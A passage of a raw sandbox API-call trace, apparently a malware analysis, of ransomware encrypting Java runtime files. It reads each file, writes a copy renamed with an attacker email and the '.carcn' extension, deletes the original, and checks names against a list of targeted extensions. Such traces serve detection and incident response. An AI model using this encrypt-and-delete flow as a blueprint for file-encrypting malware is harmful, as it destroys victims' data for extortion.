Files\\Java\\jre1.8.0_144\\bin\\kcms.dll") returned 47 [0302.607] lstrlenW (lpString=".jpg") returned 4 [0302.607] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0302.607] lstrcmpiW (lpString1=".exe", lpString2=".carcn") returned 1 [0302.607] lstrlenW (lpString="ktab.exe") returned 8 [0302.607] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ktab.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0302.608] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=16448) returned 1 [0302.608] CloseHandle (hObject=0x384) returned 1 [0302.608] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ktab.exe")) returned 0x20 [0302.608] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ktab.exe.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0302.608] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ktab.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0302.608] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.608] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.608] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ktab.exe.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0302.609] GetLastError () returned 0x0 [0302.609] ReadFile (in: hFile=0x384, lpBuffer=0x4179020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesRead=0x377fecc*=0x4040, lpOverlapped=0x0) returned 1 [0302.791] WriteFile (in: hFile=0x348, lpBuffer=0x4179020*, nNumberOfBytesToWrite=0x4050, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesWritten=0x377fc94*=0x4050, lpOverlapped=0x0) returned 1 [0302.792] ReadFile (in: hFile=0x384, lpBuffer=0x4179020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0302.792] WriteFile (in: hFile=0x348, lpBuffer=0x4179020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesWritten=0x377fc94*=0xe4, lpOverlapped=0x0) returned 1 [0302.792] SetEndOfFile (hFile=0x348) returned 1 [0302.792] CloseHandle (hObject=0x348) returned 1 [0302.792] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.792] SetEndOfFile (hFile=0x384) returned 1 [0302.793] CloseHandle (hObject=0x384) returned 1 [0302.793] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0302.793] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ktab.exe")) returned 1 [0302.794] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe") returned 47 [0302.794] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe") returned 47 [0302.794] lstrlenW (lpString=".doc") returned 4 [0302.794] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0302.794] lstrlenW (lpString=".docx") returned 5 [0302.794] lstrcmpiW (lpString1=".docx", lpString2="b.exe") returned -1 [0302.794] lstrlenW (lpString=".pdf") returned 4 [0302.794] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0302.794] lstrlenW (lpString=".xls") returned 4 [0302.794] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0302.794] lstrlenW (lpString=".xlsx") returned 5 [0302.794] lstrcmpiW (lpString1=".xlsx", lpString2="b.exe") returned -1 [0302.794] lstrlenW (lpString=".ppt") returned 4 [0302.794] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0302.794] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe") returned 47 [0302.794] lstrlenW (lpString=".zip") returned 4 [0302.794] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0302.794] lstrlenW (lpString=".rar") returned 4 [0302.794] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0302.794] lstrlenW (lpString=".bz2") returned 4 [0302.794] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0302.794] lstrlenW (lpString=".7z") returned 3 [0302.794] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0302.794] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe") returned 47 [0302.794] lstrlenW (lpString=".dbf") returned 4 [0302.794] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0302.794] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe") returned 47 [0302.794] lstrlenW (lpString=".1cd") returned 4 [0302.794] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0302.794] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe") returned 47 [0302.794] lstrlenW (lpString=".jpg") returned 4 [0302.794] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0302.795] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe") returned 47 [0302.795] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe") returned 47 [0302.795] lstrlenW (lpString=".doc") returned 4 [0302.795] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0302.795] lstrlenW (lpString=".docx") returned 5 [0302.795] lstrcmpiW (lpString1=".docx", lpString2="b.exe") returned -1 [0302.795] lstrlenW (lpString=".pdf") returned 4 [0302.795] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0302.795] lstrlenW (lpString=".xls") returned 4 [0302.795] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0302.795] lstrlenW (lpString=".xlsx") returned 5 [0302.795] lstrcmpiW (lpString1=".xlsx", lpString2="b.exe") returned -1 [0302.795] lstrlenW (lpString=".ppt") returned 4 [0302.795] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0302.795] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe") returned 47 [0302.795] lstrlenW (lpString=".zip") returned 4 [0302.795] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0302.795] lstrlenW (lpString=".rar") returned 4 [0302.795] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0302.795] lstrlenW (lpString=".bz2") returned 4 [0302.795] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0302.795] lstrlenW (lpString=".7z") returned 3 [0302.795] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0302.795] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe") returned 47 [0302.795] lstrlenW (lpString=".dbf") returned 4 [0302.795] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0302.795] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe") returned 47 [0302.795] lstrlenW (lpString=".1cd") returned 4 [0302.795] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0302.795] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe") returned 47 [0302.795] lstrlenW (lpString=".jpg") returned 4 [0302.795] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0302.795] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0302.796] lstrlenW (lpString="management.dll") returned 14 [0302.796] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\management.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0302.796] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=36928) returned 1 [0302.796] CloseHandle (hObject=0x384) returned 1 [0302.796] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\management.dll")) returned 0x20 [0302.796] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\management.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0302.796] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\management.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0302.796] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.796] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.797] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\management.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0302.797] GetLastError () returned 0x0 [0302.797] ReadFile (in: hFile=0x384, lpBuffer=0x4179020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesRead=0x377fecc*=0x9040, lpOverlapped=0x0) returned 1 [0303.874] WriteFile (in: hFile=0x348, lpBuffer=0x4179020*, nNumberOfBytesToWrite=0x9050, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesWritten=0x377fc94*=0x9050, lpOverlapped=0x0) returned 1 [0303.875] ReadFile (in: hFile=0x384, lpBuffer=0x4179020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0303.876] WriteFile (in: hFile=0x348, lpBuffer=0x4179020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesWritten=0x377fc94*=0xf0, lpOverlapped=0x0) returned 1 [0303.876] SetEndOfFile (hFile=0x348) returned 1 [0303.876] CloseHandle (hObject=0x348) returned 1 [0303.876] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.876] SetEndOfFile (hFile=0x384) returned 1 [0303.877] CloseHandle (hObject=0x384) returned 1 [0303.877] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0303.877] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\management.dll")) returned 1 [0303.877] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53 [0303.878] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53 [0303.878] lstrlenW (lpString=".doc") returned 4 [0303.878] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0303.878] lstrlenW (lpString=".docx") returned 5 [0303.878] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0303.878] lstrlenW (lpString=".pdf") returned 4 [0303.878] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0303.878] lstrlenW (lpString=".xls") returned 4 [0303.878] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0303.878] lstrlenW (lpString=".xlsx") returned 5 [0303.878] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0303.878] lstrlenW (lpString=".ppt") returned 4 [0303.878] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0303.878] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53 [0303.878] lstrlenW (lpString=".zip") returned 4 [0303.878] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0303.878] lstrlenW (lpString=".rar") returned 4 [0303.878] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0303.878] lstrlenW (lpString=".bz2") returned 4 [0303.878] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0303.878] lstrlenW (lpString=".7z") returned 3 [0303.878] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0303.878] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53 [0303.878] lstrlenW (lpString=".dbf") returned 4 [0303.878] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0303.878] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53 [0303.878] lstrlenW (lpString=".1cd") returned 4 [0303.878] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0303.878] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53 [0303.878] lstrlenW (lpString=".jpg") returned 4 [0303.878] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0303.878] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53 [0303.879] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53 [0303.879] lstrlenW (lpString=".doc") returned 4 [0303.879] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0303.879] lstrlenW (lpString=".docx") returned 5 [0303.879] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0303.879] lstrlenW (lpString=".pdf") returned 4 [0303.879] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0303.879] lstrlenW (lpString=".xls") returned 4 [0303.879] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0303.879] lstrlenW (lpString=".xlsx") returned 5 [0303.879] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0303.879] lstrlenW (lpString=".ppt") returned 4 [0303.879] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0303.879] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53 [0303.879] lstrlenW (lpString=".zip") returned 4 [0303.879] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0303.879] lstrlenW (lpString=".rar") returned 4 [0303.879] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0303.879] lstrlenW (lpString=".bz2") returned 4 [0303.879] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0303.879] lstrlenW (lpString=".7z") returned 3 [0303.879] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0303.879] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53 [0303.879] lstrlenW (lpString=".dbf") returned 4 [0303.879] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0303.879] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53 [0303.879] lstrlenW (lpString=".1cd") returned 4 [0303.879] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0303.879] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53 [0303.879] lstrlenW (lpString=".jpg") returned 4 [0303.879] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0303.880] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0303.880] lstrlenW (lpString="npt.dll") returned 7 [0303.880] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\npt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0303.880] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=19008) returned 1 [0303.880] CloseHandle (hObject=0x384) returned 1 [0303.880] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\npt.dll")) returned 0x20 [0303.880] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\npt.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0303.881] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\npt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0303.881] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.881] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.881] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\npt.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0303.881] GetLastError () returned 0x0 [0303.881] ReadFile (in: hFile=0x384, lpBuffer=0x4179020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesRead=0x377fecc*=0x4a40, lpOverlapped=0x0) returned 1 [0304.085] WriteFile (in: hFile=0x348, lpBuffer=0x4179020*, nNumberOfBytesToWrite=0x4a50, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesWritten=0x377fc94*=0x4a50, lpOverlapped=0x0) returned 1 [0304.087] ReadFile (in: hFile=0x384, lpBuffer=0x4179020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0304.087] WriteFile (in: hFile=0x348, lpBuffer=0x4179020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesWritten=0x377fc94*=0xe2, lpOverlapped=0x0) returned 1 [0304.087] SetEndOfFile (hFile=0x348) returned 1 [0304.087] CloseHandle (hObject=0x348) returned 1 [0304.088] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0304.088] SetEndOfFile (hFile=0x384) returned 1 [0304.089] CloseHandle (hObject=0x384) returned 1 [0304.089] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0304.184] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\npt.dll")) returned 1 [0304.185] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll") returned 46 [0304.185] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll") returned 46 [0304.185] lstrlenW (lpString=".doc") returned 4 [0304.185] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0304.185] lstrlenW (lpString=".docx") returned 5 [0304.185] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0304.185] lstrlenW (lpString=".pdf") returned 4 [0304.185] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0304.185] lstrlenW (lpString=".xls") returned 4 [0304.185] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0304.185] lstrlenW (lpString=".xlsx") returned 5 [0304.185] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0304.185] lstrlenW (lpString=".ppt") returned 4 [0304.185] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0304.185] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll") returned 46 [0304.185] lstrlenW (lpString=".zip") returned 4 [0304.185] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0304.185] lstrlenW (lpString=".rar") returned 4 [0304.185] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0304.185] lstrlenW (lpString=".bz2") returned 4 [0304.185] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0304.185] lstrlenW (lpString=".7z") returned 3 [0304.185] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0304.185] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll") returned 46 [0304.185] lstrlenW (lpString=".dbf") returned 4 [0304.185] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0304.185] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll") returned 46 [0304.185] lstrlenW (lpString=".1cd") returned 4 [0304.185] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0304.185] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll") returned 46 [0304.185] lstrlenW (lpString=".jpg") returned 4 [0304.185] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0304.185] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll") returned 46 [0304.185] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll") returned 46 [0304.185] lstrlenW (lpString=".doc") returned 4 [0304.185] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0304.186] lstrlenW (lpString=".docx") returned 5 [0304.186] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0304.186] lstrlenW (lpString=".pdf") returned 4 [0304.186] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0304.186] lstrlenW (lpString=".xls") returned 4 [0304.186] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0304.186] lstrlenW (lpString=".xlsx") returned 5 [0304.186] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0304.186] lstrlenW (lpString=".ppt") returned 4 [0304.186] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0304.186] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll") returned 46 [0304.186] lstrlenW (lpString=".zip") returned 4 [0304.186] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0304.186] lstrlenW (lpString=".rar") returned 4 [0304.186] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0304.186] lstrlenW (lpString=".bz2") returned 4 [0304.186] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0304.186] lstrlenW (lpString=".7z") returned 3 [0304.186] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0304.186] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll") returned 46 [0304.186] lstrlenW (lpString=".dbf") returned 4 [0304.186] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0304.186] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll") returned 46 [0304.186] lstrlenW (lpString=".1cd") returned 4 [0304.186] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0304.186] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll") returned 46 [0304.186] lstrlenW (lpString=".jpg") returned 4 [0304.186] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0304.186] lstrcmpiW (lpString1=".exe", lpString2=".carcn") returned 1 [0304.186] lstrlenW (lpString="orbd.exe") returned 8 [0304.186] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\orbd.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0304.187] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=16448) returned 1 [0304.187] CloseHandle (hObject=0x36c) returned 1 [0304.187] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\orbd.exe")) returned 0x20 [0304.187] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\orbd.exe.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0304.187] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\orbd.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0304.187] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0304.187] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0304.187] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\orbd.exe.id-b4197730.[carcinoma24@aol.com].carcn"), 